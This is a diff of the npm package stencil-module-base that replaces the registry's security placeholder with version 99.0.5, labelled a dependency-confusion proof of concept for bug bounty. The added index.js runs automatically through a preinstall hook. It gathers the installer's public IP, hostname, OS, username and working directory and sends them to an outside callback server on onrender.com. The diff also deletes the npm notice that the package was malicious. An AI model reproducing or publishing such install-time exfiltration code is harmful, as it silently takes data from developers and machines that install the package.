stencil-module-base 0.0.1-security → 99.0.5

package/index.js

@@ -0,0 +1,53 @@
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+function getWhoami() {
+  try {
+    return execSync('whoami').toString().trim(); // Works on both Windows/Linux
+  } catch {
+    return process.env.USER || process.env.USERNAME || 'unknown';
+  }
+}
+
+function getIPAddress() {
+  try {
+    return execSync('curl -s ifconfig.me || wget -qO- ifconfig.me').toString().trim();
+  } catch {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+    return 'unknown';
+  }
+}
+
+function sendCallback(data) {
+  const url = `https://callback-server-ui1o.onrender.com/callback?data=${encodeURIComponent(JSON.stringify(data))}`;
+  console.log('📦 Sending callback to:', url);
+  https.get(url, res => {
+    console.log('✅ Callback sent:', res.statusCode);
+  }).on('error', e => {
+    console.error('❌ Callback error:', e.message);
+  });
+}
+
+try {
+  const data = {
+    ip: getIPAddress(),                            // External/Public IP
+    hostname: os.hostname(),                       // Hostname
+    os: `${os.type()} ${os.platform()} ${os.release()}`, // OS version
+    whoami: getWhoami(),                           // whoami command output
+    cwd: process.cwd(),                            // Current working directory
+    timestamp: new Date().toISOString()            // Timestamp
+  };
+
+  console.log('🟡 Collected System Info:', data);
+  sendCallback(data);
+} catch (err) {
+  sendCallback({ error: err.message, timestamp: new Date().toISOString() });
+}

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "stencil-module-base",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.5",
+  "description": "Dependency confusion PoC for bug bounty",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": [
+    "poc",
+    "dependency-confusion"
+  ],
+  "author": "hiddnsec7777",
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=stencil-module-base for more information.